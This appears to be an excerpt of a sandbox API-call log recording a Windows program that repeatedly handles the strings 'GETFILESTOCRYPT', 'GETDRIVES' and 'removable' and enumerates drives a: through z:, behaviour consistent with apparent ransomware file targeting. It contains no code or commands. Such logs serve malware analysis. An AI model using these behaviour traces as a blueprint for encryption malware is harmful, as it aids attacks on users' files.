CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.522] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.522] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.523] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.523] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.524] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.524] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.524] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.524] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.525] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.525] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.525] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.525] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.525] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.525] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.525] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.526] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.526] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.526] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.526] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.526] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.527] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.527] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.527] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.527] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.527] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.528] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.528] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.528] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.528] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.528] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.528] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.528] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.540] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.540] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.540] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.540] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.540] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.540] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.540] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.541] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.541] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.541] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.541] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.541] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.541] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.541] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.541] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.541] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.541] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.542] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.542] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.542] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.542] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.542] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.542] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.542] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.542] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.542] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.543] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.543] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.543] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.543] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.543] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.543] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.543] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.543] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.543] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.543] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.543] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.544] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.544] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.544] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.544] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.544] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.544] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.545] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.545] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.545] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.545] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.545] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.545] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.545] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.545] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.545] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.546] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.546] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.546] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.546] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.546] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.546] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.546] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.546] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.546] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.555] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.555] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.555] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.555] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.556] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.556] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.556] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.556] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.556] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.556] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.556] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.556] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.558] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.558] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.558] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.558] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.558] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.558] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.558] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.558] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.558] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.558] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.558] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.559] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.559] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.559] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.559] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.559] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.559] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.559] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.559] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.560] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.560] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.560] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.571] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.571] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.571] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.572] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.572] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.572] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.572] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.144] TranslateMessage (lpMsg=0x130f86c) returned 0 [0088.144] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0088.144] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0088.148] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0088.148] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.148] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.148] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.148] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.150] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.150] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.150] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.150] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.151] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.152] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.153] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.153] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.153] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.154] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.154] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.154] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.154] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.154] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.154] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.154] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.154] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.155] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.156] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.157] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.157] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.157] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.157] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.157] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.157] PeekMessageW (in: lpMsg=0x130f204, 